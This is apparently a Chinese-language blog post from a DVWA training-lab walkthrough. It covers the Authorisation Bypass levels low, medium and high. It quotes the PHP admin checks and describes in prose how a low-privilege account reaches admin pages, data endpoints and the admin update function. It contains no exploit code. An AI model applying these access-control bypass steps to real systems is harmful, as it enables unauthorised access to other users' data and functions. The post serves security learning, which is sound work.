系统不接受页面或 URL 作为重定向目标,而是使用 ID 值来告知重定向页面重定向到的位置。这会将系统限制为只能重定向到它知道的页面,因此攻击者无法修改内容以转到他们选择的页面。

DVWA – Authorisation Bypass

在这里个人理解为越权

Low
源码中啥都没
毫无防备
漏洞复现:
我们换一个权限低的账号直接访问被隐藏的管理源才能访问的页面直接访问到
low越权

medium
源码分析:

<?php
/*

Only the admin user is allowed to access this page.

Have a look at these two files for possible vulnerabilities:

* vulnerabilities/authbypass/get_user_data.php
* vulnerabilities/authbypass/change_user_details.php

*/

if (dvwaCurrentUser() != "admin") {
print "Unauthorised";
http_response_code(403);
exit;
}
?>

在这里只限定了对html页面的访问但我们直接访问数据页面呢
漏洞复现:
中级访问

high
源码分析:

<?php
/*

Only the admin user is allowed to access this page.

Have a look at this file for possible vulnerabilities:

* vulnerabilities/authbypass/change_user_details.php

*/

if (dvwaCurrentUser() != "admin") {
print "Unauthorised";
http_response_code(403);
exit;
}
?>

HTML 页面和用于检索数据的 API 都已被锁定,但是跟新数据我们可以使用一下看看
成功越权

成功越权使用了管理员的更新功能。

DVWA 学习总结

学习完发现还需要学习很多知识才能完全理解漏洞原理,仍需要多复习和巩固,将欠缺的知识继续补充完整。仍有一些关卡没有复现需要查阅资料进行学习。

本文作者:Jay jay
本文链接:https://yyj-xx.github.io/2023/03/15/DVWA%E9%9D%B6%E5%9C%BA%E9%80%9A%E5%85%B3/
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可